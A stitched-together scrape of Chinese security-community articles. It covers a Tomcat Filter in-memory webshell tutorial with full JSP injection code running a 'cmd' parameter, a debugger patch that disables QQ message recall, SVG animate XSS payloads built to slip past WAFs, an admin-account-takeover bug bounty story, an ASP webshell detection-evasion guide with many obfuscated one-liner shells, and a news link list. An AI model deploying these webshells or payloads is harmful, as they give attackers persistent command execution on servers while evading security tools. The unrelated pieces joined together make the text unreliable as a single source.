由于时间关系，部分需要单独制作的DLL使用了msf直接生成的DLL进行测试，但免杀效果堪忧。后续制作CS插件的时候还需要再完成这些DLL并对其做一些免杀处理。 | 社区文章 |
# 手把手教你实现tomcat内存马
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 内存马实现
> 本文全是自己猜的，没有实际操作
## 内存马
1. 为什么要使用内存马
2. 有哪些类型的内存马
3. 如何编写内存马
### 为什么要使用内存马
1. 传统的webshell或以文件驻留的后门越来越容易被检测。
2. 文件不落地，检测困难
### 有哪些类型的内存马
1. 根据不同的容器都有自己对应的内存马
1. tomcat
2. weblogic
3. 等
## Tomcat Filter内存马
1. Filter是如何被创建的
2. Filter是如何被执行的
3. Filter是如何被销毁的（内存马暂时用不到）
### Tomcat启动流程
1. 从web.xml文件读取配置信息
#### 流程
1. 从`webxml`读取配置
2. 将`FilterDef`加入`context`
`ContextConfig#configureContext`
for (FilterDef filter : webxml.getFilters().values()) {
if (filter.getAsyncSupported() == null) {
filter.setAsyncSupported("false");
}
context.addFilterDef(filter);
}
1. 如果`filterDef == null`我们需要设置三个东西
1. `filterDef.setFilterName(filterName);`
2. `filterDef.setFilterClass(filter.getClass().getName());`
3. `filterDef.setFilter(filter);`
`ApplicationContext`
FilterDef filterDef = context.findFilterDef(filterName);
// Assume a 'complete' FilterRegistration is one that has a class and
// a name
if (filterDef == null) {
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
context.addFilterDef(filterDef);
} else {
if (filterDef.getFilterName() != null &&
filterDef.getFilterClass() != null) {
return null;
}
}
if (filter == null) {
filterDef.setFilterClass(filterClass);
} else {
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
}
`ContextConfig#configureContext`
for (FilterMap filterMap : webxml.getFilterMappings()) {
context.addFilterMap(filterMap);
}
`ContextConfig#processAnnotationWebFilter`
FilterMap filterMap = new FilterMap();
#### 总结
1. 从web.xml中读取到tomcat filter配置信息
2. 将过滤器类和name对应起来（FilterDef）
3. 将URLPattern和name对应起来（FilterMap）
4. 将FilterDef和FilterMap加入context
### Tomcat Filter初始化流程
`StandardContext#filterStart`
1. `ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());`
2. `filterConfigs.put(name, filterConfig);`
public boolean filterStart() {
if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterConfigs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.filterStart", name), t);
ok = false;
}
}
}
return ok;
}
### Tomcat Filter执行流程
* 通过分析Filter执行，可以知道一个Filter需要哪些基本的数据
@WebFilter(filterName = "testFilter",urlPatterns = "/*")
public class MyFilterDemo1 implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter init");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("do Filter");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
}
#### 分析internalDoFilter
* filter是一个数组
* 利用下标进行遍历和匹配规则
* 通过`Filter`数组或者说通过`FilterChain`找到第一个关键数据`ApplicationFilterConfig`
* 问题
* `FilterChain`是如何创建的？
#### 创建一个FilterChain
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
#### 创建过滤链：createFilterChain
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {
// If there is no servlet to execute, return null
if (servlet == null)
return null;
// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}
filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
// Acquire the filter mappings for this Context
//获取此上下文的筛选器映射
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();
// If there are no filter mappings, we are done
if ((filterMaps == null) || (filterMaps.length == 0))
return (filterChain);
// Acquire the information we will need to match filter mappings
//获取匹配过滤器映射所需的信息
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);
String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}
String servletName = wrapper.getName();
// Add the relevant path-mapped filters to this filter chain
//将相关路径映射筛选器添加到此筛选器链
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMaps[i], requestPath))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Add filters that match on servlet name second
//添加与servlet名称匹配的过滤器
for (int i = 0; i < filterMaps.length; i++) {
if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMaps[i], servletName))
continue;
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMaps[i].getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}
// Return the completed filter chain
return filterChain;
}
## Java代码实现伪代码
package cn.jl.demo;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import org.apache.tomcat.util.net.DispatchType;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
@WebFilter("/*")
public class MyFilterDemo implements Filter {
static {
try{
final String name = "jl";
final String URLPath = "/*";
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();
MyFilterDemo myFilterDemo = new MyFilterDemo();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(myFilterDemo);
filterDef.setFilterName(name);
standardContext.addFilterDef(filterDef);
}catch (Exception ex){
ex.printStackTrace();
}
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
}
`http://localhost:8080/xx.jsp?cmd=whoami`
## JSP代码分析
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%
//设置<filter-name>
final String name = "jl";
//获取filterConfigs
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null) {
//这里实现filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
System.out.println("doFilter");
}
@Override
public void destroy() {
}
};
//设置FilterDef
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
//设置FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterDef(filterDef);
standardContext.addFilterMapBefore(filterMap);
//将FilterConfig加入FilterConfigs中
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
}
%>
<http://localhost/filter.jsp>
<http://localhost/1.jsp?cmd=whoami>
## 参考链接
> <https://xz.aliyun.com/t/10362#toc-6>
>
> <https://xz.aliyun.com/t/10696> | 社区文章 |
# 使用x64dbg 分析 TIM2.0 QQ撤销功能
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
> 本篇原创文章参加双倍稿费活动，预估稿费为600元，活动链接请点[此处](https://www.anquanke.com/post/id/98410)
>
> 大家好我是蓝铁，你们的老铁^_^。
>
> 我们在日常使用QQ或是其他聊天工具时，总是会发现一些人在发完信息之后撤销，这让我们这些不是一直盯着聊天窗口查看聊天信息的感觉不爽，所以作为逆向分析工程师的我选择分析一下撤销功能，将其改掉，这样再怎么撤销都不怕了。o(
> _￣︶￣_ )o
## 版本截图
分析的版本信息
## 收集信息
这一步非常关键，因为在分析时，思路如果不对，基本上是分析不出来的。这里我们从敏感字符串开始。
由于我们要找的撤销功能，那我们要把撤销相关的英文、中文单词都找出来。这里使用百度翻译可以查看撤销的英文：
如图可知撤销英文单词：revoke,recall,cancel
当锁定了关键词之后，使用Notepad++的搜索功能，在文件中搜索。指定文件夹，搜索revoke
* 打开搜索
* 设置搜索目录，设置搜索关键字
* 查看搜索结果
* 可以看到，有两个动态库与消息撤回有关，IM.dll和MsgMgr.dll。其他的根据查询到的字符串，并没有涉及消息。所以优先分析IM.dll和MsgMgr.dll
## 初步分析IM.dll和MsgMgr.dll
使用PEID或是其他PE文件查看DLL的导出，发现这两个DLL的导出函数都有以下四个函数：
* DllCanUnloadNow
* DllGetClassObject
* DllRegisterServer
* DllUnregisterServer
这四个函数是COM组件的标配。所以可以确定是COM组件。（COM组件是windows下抽象于二进制层的API接口，可以适应各种编程语言，包括C++,C#,VB等，比SDK
API适应性更强）
可以发现MsgMgr.dll只有四个导出，其他没有了，而IM.dll还有几个导出函数，貌似与网络通信有有关(导出函数PostTask….),，所以暂时先不分析MsgMgr.dll，主攻IM.dll
## 使用x32dbg详细分析IM.dll
### 运行TIM,附加程序
在符号选项卡中找到IM.dll模块，进入其代码空间
查找该模块的所有字符串
### 在字符串中寻找和撤销(revoke)相关的
* 搜索字符串
* 在字符串中中定位撤销字符串
* 由于撤销字符串比较多，为了方便定位代码，可以右键在所有命令上下断点
### 构建测试环境，寻找撤销CALL
* 再启动一个tim qq，给被调试的tim qq发消息，然后再撤销，发现会断到以下代码处，分析附近的代码。
测试附近的每一个CALL，让其直接返回，可以找到起作用的CALL。
* 经过测试附近代码，发现关键函数是以下CALL。
修改关键代码，完成patch
## 测试结果
昨边是没有patch的正常的tim qq, 右边是被patch过的tim qq。
## 总结
tim
qq的聊天记录在本地和服务器都应该有保存，而撤销功能，服务器我们没有办法阻止，本地我们有机会做到不撤销，本节分析的最后结果可以验证我们所想，防撤销的原理就是patch掉修改本地聊天信息的代码，让对方撤销之后，本地依然显示即可。 | 社区文章 |
最近，我学习了如何通过在`<animate>`标签的values属性中间插入JavaScript
URL来绕过WAF。大多数WAF可以轻松提取属性的值，然后检测其中的恶意有效负载，例如`javascript：alert（1）`。该[文章](https://portswigger.net/research/svg-animate-xss-vector)基于以下事实：values属性可能包含多个值，每个值都用分号分隔。由于每个单独的值都分别由动画标签处理，因此我们可能会通过走私恶意`javascript：alert（1）`作为values属性的中间（或最后一个）参数来误导WAF，例如：
<animate values="http://safe-url/?;javascript:alert(1);C">
这样，某些WAF可能无法正确理解，并将上述属性的值视为安全的URL。
这项研究的作者提出了一个完美的XSS攻击媒介：
> `<svg><animate xlink:href=#xss attributeName=href dur=5s
> repeatCount=indefinite keytimes=0;0;1 values="https://safe-> url?;javascript:alert(1);0" /><a id=xss><text x=20 y=20>XSS</text></a>`
在下面的段落中，我将研究上述方法的不同变化。每个示例都包含用户交互XSS。要弹出警报，请将示例代码片段插入html文件，然后单击“ XSS”文本。
## 姿势长度缩短
在开始之前，我们需要了解`values`和`keyTimes`属性之间的关系。
让我们看一下文档，以了解keyTimes的实际情况：
> 以分号分隔的时间值列表，用于控制动画的步调。列表中的每个时间都对应于values属性列表中的一个值，并定义了何时在动画功能中使用该值。
>
> “ keyTimes”列表中的每个时间值都指定为0到1（含）之间的浮点值，代表动画元素的简单持续时间的比例偏移。
>
> 对于线性和样条动画，列表中的第一个时间值必须为0，列表中的最后一个时间值必须为1。与每个值关联的关键时间定义何时设置该值；值在关键时间之间进行插值。
为了更好地了解其行为，我们将创建一个滑动圆的动画：
(自己尝试，直接把下面代码复制到html文件，在本地打开就可以了)
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
<circle cx="10" cy="10" r="10">
<animate attributeName="cx" dur=5s repeatCount=indefinite
values="0 ; 80 ; 120 " keyTimes="0; 0.5; 1"/>
</circle>
</svg>
在上面的示例中，发生了两个动画。
圆圈从0滑到80，然后从80滑到120。我们减少中间keyTimes属性的次数（将前一个值设置为0.5）越多，动画的第一部分越快。
但是，当该值减小到0时，动画的第一部分将被忽略，并且圆圈将从80滑动到120。这正是我们需要的：
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
<circle cx="10" cy="10" r="10">
<animate attributeName="cx" dur=5s repeatCount=indefinite
values="0 ; 80 ; 120 " keyTimes="0; 0; 1"/>
</circle>
</svg>
我们要确保始终显示动画的第二部分（而始终忽略第一部分）。为此，设置了两个附加属性：
`repeatCount = indefinite` \- 告诉动画继续前进，
`dur = 5s` \- 持续时间（任何值都足够）
让我们快速浏览一下[文档](https://developer.mozilla.org/zh-CN/docs/Web/SVG/Attribute/dur)，注意这两个属性是多余的：
代替无限重复5s动画，我们可以创建不重复的无限动画。这样，我们就可以摆脱`dur`属性（默认情况下将其设置为不确定的值），然后我们可以删除`repeatCount`。
对于下面的代码：
values="https://safe-url?;javascript:alert(1);0"
keytimes=0;0;1
第一个values值不会发生（因此href属性不会设置为https：// safe-url），而第二个values值会发生（href指向javascript：alert（1），并且会无限期保留在那里）。
这样，我们可以缩小初始XSS攻击payload，如下所示：
<svg><animate xlink:href=#xss attributeName=href keyTimes=0;0;1 values="http://isec.pl;javascript:alert(1);X" /><a id=xss><text x=20 y=20>XSS</text></a>
## 替代keyTime属性
事实证明`keyTimes`不是唯一允许我们使用values属性列表中非第一个值的属性。由于我们想在任何地方（而不是一开始）走私`javascript：alert（1）`，所以最明显的解决方案是将其放在结尾。
SVG标准[定义](https://developer.mozilla.org/zh-CN/docs/Web/SVG/Attribute/fill)了属性`fill`。它指定动画的最终状态是第一帧还是最后一帧。
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
<circle cx="10" cy="10" r="10">
<animate attributeName="cx" dur=5s values="0 ; 80 " fill=remove />
</circle>
</svg>
如果属性`fill`设置为"remove"，则在动画结束时它将移回第一帧。圆从0滑到80，然后移回0位置。
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
<circle cx="10" cy="10" r="10">
<animate attributeName="cx" dur=5s values="0 ; 80 " fill=freeze />
</circle>
</svg>
如果将属性`fill`设置为"freeze"，则动画将保留最后一个动画帧的状态。圆从0滑到80，并停留在完成动画的位置80。这样，我们可以将`javascript：alert（1）`作为最后一个元素，并确保在动画结束时始终显示该元素。
这种解决方案有点棘手。在碰到最后一个元素之前，我们需要遍历第一个元素。我们不能像对`keyTimes`一样忽略它;但是，我们可以通过将动画的持续时间设置为非常短的值（例如：1毫秒），使第一个动画帧几乎可以被人眼忽略。
动画开始播放时，href属性将仅设置1毫秒为`http://isec.pl`，然后它将保留在`javascript：alert（1）`上。
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
## HTML编码
此外，我们允许对values属性中的任何字符进行HTML编码。这样，我们可能会更好地欺骗WAF规则。
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
由于HTML10编码很方便，因此我们可能会使用一些额外的行为，允许某些字符出现在`javascript：`协议标识符之前。
01-32范围内的每个ASCII值都可以使用，例如。：
<svg><animate xlink:href=#xss attributeName=href values="javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
<svg><animate xlink:href=#xss attributeName=href values="	   javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
## 总结
在本文中，我们发现SVG规范隐藏了许多潜在的XSS攻击媒介。 即使是简单的属性值也可能导致多个恶意负载，这有助于绕过WAF。
呈现的向量已在Firefox和Chrome上进行了测试。
## 参考
[XSS fun with animated SVG](https://blog.isec.pl/xss-fun-with-animated-svg/)
[SVG animate XSS vector](https://portswigger.net/research/svg-animate-xss-vector) | 社区文章 |
### 概述
近期，我接受了一份对某个私人项目网站的测试邀请。开始，我询问网站方能否提供具有admin权限的测试用户，但被拒绝了，我只能用普通账户测试。
目标站点是一个普通网站，没有复杂的业务，多数为静态页面，这使我有些苦恼。登入普通账户后，唯一有趣的东西就是一个文件上传点，但只能上传PDF格式的文件，无法绕过。一段时间后，测试陷入困境。我想要测试站点授权功能但又没有admin账户，而且也没有提供任何API文档，我根本不知道后台有哪些端点。
在挖洞界，有句名言：“网站如果有管理员用户，那么一定有管理员用户的特定端点”。
### fuzz测试
因此，接下来我只能通过fuzz来找出这些端点。根据以往的经验，管理员用户有非常多的功能端点，比如修改用户信息的端点。
此端点可能是以下格式：
/api/v2/member/
/api/v2/members/
/api/v2/users/
/api/v2/user/
查看Burp-Suite历史请求，恰好有一个类似的API端点。
将`/api/v2/search/suggestion/counterparty/`改为`/api/v2/members/`，出现404错误。
`api/v2/users` 404错误
`api/v2/user` 405错误
HTTP 405 错误 – 方法不被允许 (Method not allowed)，一般将GET改为POST方法即可解决问题。
### 尝试账户接管
服务器要求我们在body中提供更多参数信息，并且以JSON格式发送。简单构造：
此时报错，提示缺少client参数。一开始，我认为这个参数是用来控制用户权限的，将参数改为test，再次报错：
Ok，将其改为整形：
此时，我成功创建了一个新用户。在另一个浏览器上登入新用户，尝试更改密码，但没有收到重置密码的邮件。
进一步研究，我发现client参数控制着所在的用户组。但我不清楚哪一个或哪些ID控制着用户组。我把请求sent到Bp
intruder，配置`client`值的范围：1-100。结果如下：
使用上面状态码为201的ID，成功创建用户。在另一个浏览器上登入新用户，重置密码，此时可以收到更改密码的邮件。
### 尝试接管管理员用户
我没有立即提交这个漏洞，万一可以接管管理员用户怎么办？站点可能存在某个参数控制用户的权限。
经过一些摸索测试后，我尝试在请求body中添加"role":"admin"，而且居然成功了。登入用户后，我发现该账户已具有管理员权限。
### 经验总结
1. 目标站点过于简单，测试陷入僵局时，可以尝试Fuzz，可能有意外收获；
2. 用发散性思维思考问题，去猜想一些参数；
3. 挖到漏洞后不要立即提交，尝试放大影响。 | 社区文章 |
# 0x00 前言
现在asp不多但是还是有，还是写一篇文章来简单的介绍下asp的免杀吧，相对于php我们的asp还是不够灵活,其中一些思路参考于LandGrey的文章
偷偷介绍下公众号：404安全
# 0x01 目录
1. 数组
2. 函数
3. 加密
4. 注释符
5. 类
6. 字符串操作
# 0x02 了解asp一句话
ASP解释器还有：VBScript
ASP的注释符号 ： `' 、 REM` 当然如果你使用vbscript 注释还有`<!-- --> 和//`
ASP的执行函数 : Eval 、 Execute 、ExecuteGlobal
# 0x03 数组
利用数组来免杀，因为我们在php免杀中使用过数组，他的效果还不错，那么我们是否可以利用到asp来，当然答案是肯定的
其中定义数组的方法有多种方式，我们才用最简单方式来看看
<%
dim a(5)
a(0)=request("404")
eXecUTe(a(0))
%>
简单的数组定义D盾就不认识了，为什么我会想到用数组来绕过，因为我发现函数调用的时候D盾不敏感，包括asp，php等
当然你还可以这样用，加上一点循环语句
<%
dim array(1)
dim c
array(1)=request("404")
for each a in array
c = a & ""
next
execute(c)
%>
# 0x04 函数
这个是那天D盾更新，无意间测试出来的，发现d盾对函数传入不是很敏感
<%
Function b():
b = request("404")
End Function
Function f():
eXecUTe(b())
End Function
f()
%>
# 0x05 加密
网上随便找了一段加密算法 但是测试发现D盾爆了一级，参数未知
<%
eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600"))
function gw_jiemi(text)
const key="gw"
dim str : str=text
dim str1
dim str2 : str2=strreverse(str)
for i=1 to len(str2) step 4
str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))
next
gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))
end function
%>
既然都提示我们参数的问题了，那么简单的干扰一下吧,连接个空字符
<%
eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600")&"")
function gw_jiemi(text)
const key="gw"
dim str : str=text
dim str1
dim str2 : str2=strreverse(str)
for i=1 to len(str2) step 4
str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))
next
gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))
end function
%>
解密的算法是
function gw_jiami(text)
const key="gw"
dim str : str=key & text
dim str1
dim str2
for i=1 to len(str)
str2=hex(AscW(mid(str,i,1)))
for j=1 to 4-len(str2)
str2="0" & str2
next
str1=str1 & str2
next
gw_jiami=strreverse(str1)
end function
# 0x06 注释符
通过一个简单的注释符绕过安全狗还是比较简单的,
<%
a = request("404")
b = a REM a
execute(b)
%>
怎么绕过d盾了想了几分钟发现可以这样
<%
<!-- a = request("404")
execute(a)
-->
%>
# 0x07 类
在php中我们使用类可以很轻松的绕过，但是asp使用类现在d盾看的很紧，首先看看最简单的类
<%
Class LandGrey
Private Sub Class_Initialize
execute request("404")
End Sub
End Class
Set X = New LandGrey
%>
利用Class_Initialize 初始化就调用我们的函数，但是已经不行了，那么我们简单的变形一下
<%
Class LandGrey
private str_title
public property let setauthor(str)
execute str REM a
end property
End Class
Set a= New LandGrey
a.setauthor= request("404")
%>
这个D盾爆出一级，提示未知参数str，怎么绕过呢，我们可以用函数的方式把他包裹起来 跟前面方案一样
<%
Class LandGrey
private str_title
public property let setauthor(str)
execute(str&"")
end property
End Class
Set a= New LandGrey
a.setauthor= request("404")
%>
但是提示语句没结束语法问题，那就改改，用括号包裹起来调用，同时利用REM注释后面的内容，d盾就会识别括号里面有内容，从而绕过
<%
Class LandGrey
private str_title
public property let setauthor(str)
execute(str )REM a)
end property
End Class
Set a= New LandGrey
a.setauthor= request("404")
%>
前面说过他提示的参数没 赋值 那么我们就定义一个局部变量来赋值吧
<%
Class LandGrey
private str
Private Sub Class_Initialize
str = ""
End Sub
public property let setauthor(str)
execute(str)
end property
End Class
Set a= New LandGrey
a.setauthor= request("404")
%>
# 0x08 字符串操作
前面php的webshell我们讲过，d盾是杀参数的，我们如何绕过的思路就是在传入参数这里做文章，先来一个简单的
<%
a = request("404")
b = Left(a,99999)
execute(b)
%>
D盾直接爆4级，我们再找个函数包裹一下我们的a字符串,UCase大小写转换
<%
a = request("404")
b = Left(UCase(a),99999)
execute(b)
%>
还是4级，那么我们在后面连接一个空格呢,那么他就能完美绕过
<%
a = request("404")
b = Left(UCase(a)&"",99999)
execute(b)
%>
# 0x09 总结
虽然asp不是很灵活，但是通过探索还是能发现不少姿势，还是那句话多学多练，我们一起从0开始
参考:
<https://xz.aliyun.com/t/2356> | 社区文章 |
# 【知识】5月12日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 惠普电脑的音频驱动中发现内置的keylogger、** **OnePlus OTA相关的漏洞分析与利用
、基于DOM的AngularJS沙箱逃逸、Vanilla Forums 2.3以下版本无需认证的远程代码执行漏洞、EnCase Forensic
Imager取证工具存在栈溢出漏洞可以被恶意软件实现远程控制、** **OpenVPN 2.4.0未认证的拒绝服务、 漫谈同源策略攻防、Hack PHP
mail additional_parameters**
**
**
**资讯类：**
* * *
****
****
****
****
[](https://www.hackread.com/darkoverlord-hacks-westpark-capital-bank/)
惠普电脑的音频驱动中发现内置的键盘记录器
<http://securityaffairs.co/wordpress/59013/hacking/hp-keylogger-conexant-audio-driver.html>
**技术类：**
* * *
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
我的汽车保险如何暴露我的位置
[https://www.andreascarpino.it/posts/how-my-car-insurance-exposed-my-position.html](https://www.andreascarpino.it/posts/how-my-car-insurance-exposed-my-position.html)
惠普电脑的音频驱动中发现内置的keylogger
<https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt>
哈希套件 – Windows密码安全审查工具
<http://www.openwall.com/lists/oss-security/2017/05/10/3>
OnePlus OTA相关的漏洞分析与利用
<https://alephsecurity.com/2017/05/11/oneplus-ota/>
OpenVPN 2.4评估和报告
<https://www.privateinternetaccess.com/blog/2017/05/openvpn-2-4-evaluation-summary-report/>
对Mac os上的Proton.B恶意样本分析
<https://www.cybereason.com/labs-proton-b-what-this-mac-malware-actually-does/>
基于DOM的AngularJS沙箱逃逸
<http://blog.portswigger.net/2017/05/dom-based-angularjs-sandbox-escapes.html>
Gixy的主要目标是防止Nginx安全配置错误，并自动进行缺陷检测
<https://github.com/yandex/gixy>
Vanilla Forums <= 2.3 Host头注入CVE-2016-10073
<https://exploitbox.io/vuln/Vanilla-Forums-Exploit-Host-Header-Injection-CVE-2016-10073-0day.html>
Vanilla Forums <= 2.3无需认证的远程代码执行漏洞
<https://exploitbox.io/vuln/Vanilla-Forums-Exploit-RCE-0day-Remote-Code-Exec-CVE-2016-10033.html>
通过一个ImageMagick 漏洞泄漏 dropbox.com 和 box.com服务器上的内存
<https://scarybeastsecurity.blogspot.com/2017/05/proving-missing-aslr-on-dropboxcom-and.html>
EnCase Forensic Imager取证工具存在栈溢出漏洞可以被恶意软件实现远程控制
<http://blog.sec-consult.com/2017/05/chainsaw-of-custody-manipulating.html>
<https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20170511-0_Guidance_Software_Encase_Stack_based_buffer_overflow_v10.txt>
Windows 10 HAL’s Heap – Extinction of the "HalpInterruptController" Table
Exploitation Technique
<https://labs.bluefrostsecurity.de/blog/2017/05/11/windows-10-hals-heap-extinction-of-the-halpinterruptcontroller-table-exploitation-technique/>
黑客XSS的天堂
<http://xssor.io/>
AppLocker Bypass – Regsvr32
<https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/>
Hack PHP mail additional_parameters
<http://blog.nsfocus.net/hack-php-mail-additional_parameters/>
百度BSRC SQL注入挑战赛部分writeup
<http://blog.nudtcat.org/SQL%E6%B3%A8%E5%85%A5/%E7%99%BE%E5%BA%A6BSRC-SQL%E6%B3%A8%E5%85%A5%E6%8C%91%E6%88%98%E8%B5%9B%E9%83%A8%E5%88%86writeup/>
漫谈同源策略攻防
<https://eth.space/same-origin-policy-101/>
乐固加固（17年1月）逆向分析
<http://bbs.pediy.com/thread-217556.htm>
